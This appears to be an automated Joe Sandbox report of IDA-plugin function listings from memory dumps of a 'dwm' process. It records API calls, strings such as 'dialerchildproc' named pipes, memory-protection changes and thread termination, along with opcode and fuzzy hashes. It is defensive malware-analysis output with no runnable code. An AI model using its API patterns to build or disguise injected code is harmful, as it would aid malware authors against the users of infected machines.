Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 493de7bb044fff9f3caa7959a2c753dca1dded61462356798fb8e7264277a659
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 66211836614B4086FB118B25E54836A77B0F789BE4F604215EA9D46FA8DF3CC149CB12

Function 000002BAAEDB104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDB10AB
RegEnumValueW.ADVAPI32 ref: 000002BAAEDB110E
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1155
HeapAlloc.KERNEL32 ref: 000002BAAEDB1163
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1187
HeapFree.KERNEL32 ref: 000002BAAEDB1195

Strings

d, xrefs: 000002BAAEDB10CE

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: f6c8686a963b06d401097b7cd63309989d8e7c6680c96792ee70745997e45fcf
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: C4415B33614B809BE7608F62E44879AB7B1F389B84F108129DBCD07A98EF38D565CB10

Function 000002BAAED869F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAED86A18
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAED86A6A
_RTC_Initialize.LIBCMT ref: 000002BAAED86A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAED86ABE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAED86AE9

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: afa602538d2797bded4b6c7ea06a470d0bb9dafd4f93a30f4a6eaa79a6e8d66a
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 4081F7317002C186FA50AB65984D37977F0E7457A0F744025AAED87B96EB7ACC46C333

Function 000002BAAEDB75F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDB7618
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDB766A
_RTC_Initialize.LIBCMT ref: 000002BAAEDB7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDB76BE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDB76E9

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 637ba7a130481ab4aa70c731ea2e48fbfcaae0396f108508a8e9abee0c3e8b45
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: A781B221B0434187FB55AB7A984D39973B0AB85B80F744655AACD8B796FB38C842C733

Function 000002BAAEDB9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002BAAEDB9889
GetLastError.KERNEL32 ref: 000002BAAEDB9897
LoadLibraryExW.KERNEL32 ref: 000002BAAEDB98C1
FreeLibrary.KERNEL32 ref: 000002BAAEDB9907
GetProcAddress.KERNEL32 ref: 000002BAAEDB9913

Strings

api-ms-, xrefs: 000002BAAEDB98A9

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 46fedad571d6e0e71bf392c82b2639354194fb128bedf8d1f59ed41f6ed11f77
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: FA31B236312B9091FE56DB12A81879973B4BB48BA0F794529EDAD4B380FF38C445C322

Function 000002BAAEDC1B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAEDC1BCD
GetLastError.KERNEL32 ref: 000002BAAEDC1BD9
CloseHandle.KERNEL32 ref: 000002BAAEDC1BF1
CreateFileW.KERNEL32 ref: 000002BAAEDC1C1C
WriteConsoleW.KERNEL32 ref: 000002BAAEDC1C3B

Strings

CONOUT$, xrefs: 000002BAAEDC1BFD

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 7098e56acce4b39502feb592609ec6dd6905e35d3a31d2c5f3171e59dccca79d
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 5C118F22314B5086E7528F66E84831AB3B0F7C8FE8F244224EA9D87794DF78C914C756

Function 000002BAAEDB30B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDB30D7
HeapAlloc.KERNEL32 ref: 000002BAAEDB30EA
StrCmpNIW.SHLWAPI ref: 000002BAAEDB316B
GetProcessHeap.KERNEL32 ref: 000002BAAEDB31D1
HeapFree.KERNEL32 ref: 000002BAAEDB31DF

Strings

dialer, xrefs: 000002BAAEDB3164

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 3a24ce44e79b6b776c15c23bf2c7989751fbfc41cf4a95416b0ee1e99915caa9
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 7C319E22701B51D6FB15DF66A94866AB3B4FB44BC4F1881249ECC07B94FF78C4A5C721

Function 000002BAAEDB1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002BAAEDB1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDB1A58
PathFindFileNameW.SHLWAPI ref: 000002BAAEDB1A67
lstrlenW.KERNEL32 ref: 000002BAAEDB1A73
StrCpyW.SHLWAPI ref: 000002BAAEDB1A86
CloseHandle.KERNEL32 ref: 000002BAAEDB1A94

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 506f6658548811763228039e07b5795d7bf15ad9a0ccc51ea1d91a5c914d76a6
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 0F011721300A4196EA14DB22A85875A73A1F788FC0F688475DE8D43794DF38C98AC761

Function 000002BAAEDB37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDB37C8
GetCurrentProcess.KERNEL32 ref: 000002BAAEDB37D6
VirtualProtectEx.KERNEL32 ref: 000002BAAEDB37F8
GetCurrentProcess.KERNEL32 ref: 000002BAAEDB3819
VirtualProtectEx.KERNEL32 ref: 000002BAAEDB383A
TerminateThread.KERNEL32 ref: 000002BAAEDB3849

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 67999034e11645333b8a6c53b2e4db2230f9a4ec6a75d40c35783385d88edd94
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 1E111775611B4086FB269B21E80D76A77B0FB88B81F240429DE8D077A4EF3DC408C722

Function 000002BAAEDB90D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDB9103
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDB9198
RtlUnwindEx.NTDLL ref: 000002BAAEDB91E7

Strings

csm, xrefs: 000002BAAEDB917E
f, xrefs: 000002BAAEDB9116

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction ID: 003a4c172d3d42e66d507e8ae2bd037edcb503f154cd4c8e19880211964d336f
Opcode Fuzzy Hash: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction Fuzzy Hash: 9851AE32A116809AFB18DF25E54CB5937B5F385BC8FB08124EE9E47788EB35D841C722

Function 000002BAAEDB1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAEDB1AD8
StrCmpNIW.SHLWAPI ref: 000002BAAEDB1AF2
lstrlenW.KERNEL32 ref: 000002BAAEDB1B01
StrCpyW.SHLWAPI ref: 000002BAAEDB1B16

Strings

\\?\, xrefs: 000002BAAEDB1AE6

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 8771b474f7b581c9b150134b4bbfc6d3e1b9b378b40739f106a50c69a1b33895
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: C6F04F62304641D2FB608B61F59939A7770F784BC8F948064DACD4B954EF2CC689CB15

Function 000002BAAEDB3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002BAAEDB3222
StrCpyW.SHLWAPI ref: 000002BAAEDB3232
StrCatW.SHLWAPI ref: 000002BAAEDB323E
PathCombineW.SHLWAPI ref: 000002BAAEDB324C

Strings

\\.\pipe\, xrefs: 000002BAAEDB3218

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: aead92bbb4e78c7c91f7c7d09d0a1c10e5faa71f78d2c7a386896b4190cc0542
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: F1F08C20304B8092FA008B23BA4911AB330EB88FD0F289171EEDE47B28DF2CC482C311

Function 000002BAAEDBA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002BAAEDBA154
GetProcAddress.KERNEL32 ref: 000002BAAEDBA16A
FreeLibrary.KERNEL32 ref: 000002BAAEDBA187

Strings

CorExitProcess, xrefs: 000002BAAEDBA163
mscoree.dll, xrefs: 000002BAAEDBA14B

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 7903009311fbbe882884880aa8473a12e871a9b0ebd468cee4f291d41f21e0e0
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 3AF0126132174491FF954F70E88C3693770EBD8BD0F642419958F495A4DF38C489C722

Function 000002BAAEDC0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAEDC08A2
GetConsoleMode.KERNEL32 ref: 000002BAAEDC0960
GetLastError.KERNEL32 ref: 000002BAAEDC09EA

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 35f79d32ad40f95a694ab73e9ae1ae3023161f3afe97160518e03bc0ad132198
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: EC81BF2261061089FB52AF7598683AD77B1F7C4BC8F645216DE8E977D2DB34C442C732

Function 000002BAAEDB57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDB5806

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 015e27c08688d47c0428e5d84959682217638f6f127bf3f2df59713f6161e560
Instruction ID: ee48daa08d62aae587466935353a2672d63264273ec1ae417d64d6eeb2c7b418
Opcode Fuzzy Hash: 015e27c08688d47c0428e5d84959682217638f6f127bf3f2df59713f6161e560
Instruction Fuzzy Hash: FA61C836519B40C6FB609B15E49871AB7B1F3C8B84F201615EACE87BA8EB7CC450CF51

Function 000002BAAED912B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAED912E0
_set_statfp.LIBCMT ref: 000002BAAED912FB
_set_statfp.LIBCMT ref: 000002BAAED91317
_set_statfp.LIBCMT ref: 000002BAAED91353

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 46f915988d1421102dcdc82b7975ccb72b32a6b5722b91e8b7d4d7e4d90cae6a
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 2A117322A54A1101FA641175ED5E36933716B54374F7B462CAAFF0AFE6AB2A8C43C122

Function 000002BAAEDC1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAEDC1EE0
_set_statfp.LIBCMT ref: 000002BAAEDC1EFB
_set_statfp.LIBCMT ref: 000002BAAEDC1F17
_set_statfp.LIBCMT ref: 000002BAAEDC1F53

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: ec6c5d9e337470a63c90dc94213730dc61b9379da416219e9f279c20de9c9e43
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 79117323A58A3141F69B1178E45E36933717BEA3F4F74462CAAFE063D68B548D41D132

Function 000002BAAED884F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAED88503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAED88598

Strings

f, xrefs: 000002BAAED88516
csm, xrefs: 000002BAAED8857E

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: dd434be0664191bedbfb9aec411bcd668004c6ad845439f1ee4a200c2d89c5f7
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 2151B23A7126808BDB14DF15F848B2933B5F340B98FB18125DA8E67788EB35CD41C726

Function 000002BAAED884D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAED88503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAED88598

Strings

f, xrefs: 000002BAAED88516
csm, xrefs: 000002BAAED8857E

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: c48fda967e298243dbab0d24029148cb6e945a7cf09b7d01290e854a90eb0d3a
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 0E31BC7A21168096E714DF15EC48B2937B4F740B88FA58015AE8E27B84DB39C941C72A

Function 000002BAAEDB14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDB14D5
HeapFree.KERNEL32 ref: 000002BAAEDB14E4
GetProcessHeap.KERNEL32 ref: 000002BAAEDB14F0
HeapFree.KERNEL32 ref: 000002BAAEDB14FF
GetProcessHeap.KERNEL32 ref: 000002BAAEDB152A

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 1bed4f72e0546fda5ce63700dae4d6bf2b4f7479e33116dad73f111ba9ff2ee0
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: 57118832514B88DAE752CFA6A80821A73B0F789BC0F244169EBCE03794DF38C011C712

Function 000002BAAEDB26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDB27D4
StrCpyW.SHLWAPI ref: 000002BAAEDB27ED

Strings

\\.\pipe\, xrefs: 000002BAAEDB27DF

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 9d6b5349f1b79481180b62943ed2eb4ae12f6ce4e38b49187bd1f49078394ae9
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 7871C03721078186FB289F6A99583AAB7B0F784BC4F640416DECD4BB88EF35C604C752

Function 000002BAAEDB24DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDB25C3
StrCpyW.SHLWAPI ref: 000002BAAEDB25DA

Strings

\\.\pipe\, xrefs: 000002BAAEDB25CE

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: d35c572646b628525abb7c1ddf26b5ce444fe5a68a734bab67609ae404b7482b
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 3D51D53320878182F634AE2DA55C3AA77B5F385780F600025CDCE43B99EF39C401CB62

Function 000002BAAEDC0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAEDC071B
GetLastError.KERNEL32 ref: 000002BAAEDC073D

Strings

U, xrefs: 000002BAAEDC06C7

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 3a8e2a19e2305fa9e7e55a122835e83f94b4ed9a778bf159358e5e7576f9c86f
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 5041B372314A8082EB219F25E4583AAB7B0F7C87C4F604125EE8D87798EB3CC541CB51

Function 000002BAAEDBD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAEDBD6F9
LCMapStringW.KERNEL32 ref: 000002BAAEDBD781

Strings

LCMapStringEx, xrefs: 000002BAAEDBD6DC, 000002BAAEDBD6ED

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 61748a736af2ce7bde860560ce7a463ff8d16192f94909f223a408e2ea4514a5
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: C3110636608B8086DB60CB16B48429AB7B4F7C9BD4F644126EECE87B59DF38C450CB10

Function 000002BAAEDB94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002BAAEDB94E8
RaiseException.KERNEL32 ref: 000002BAAEDB952E

Strings

csm, xrefs: 000002BAAEDB951B

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: af454ba07860bef1790b1e5b042bc5a33c8b92364bd8c09e3fa77ad3bf8e99c6
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 07111C32218B8482EB658F25E54425AB7F5F788B98F684225DFCD0BB68EF38C555CB00

Function 000002BAAEDBD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAEDBD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000002BAAEDBD6A7

Strings

InitializeCriticalSectionEx, xrefs: 000002BAAEDBD681

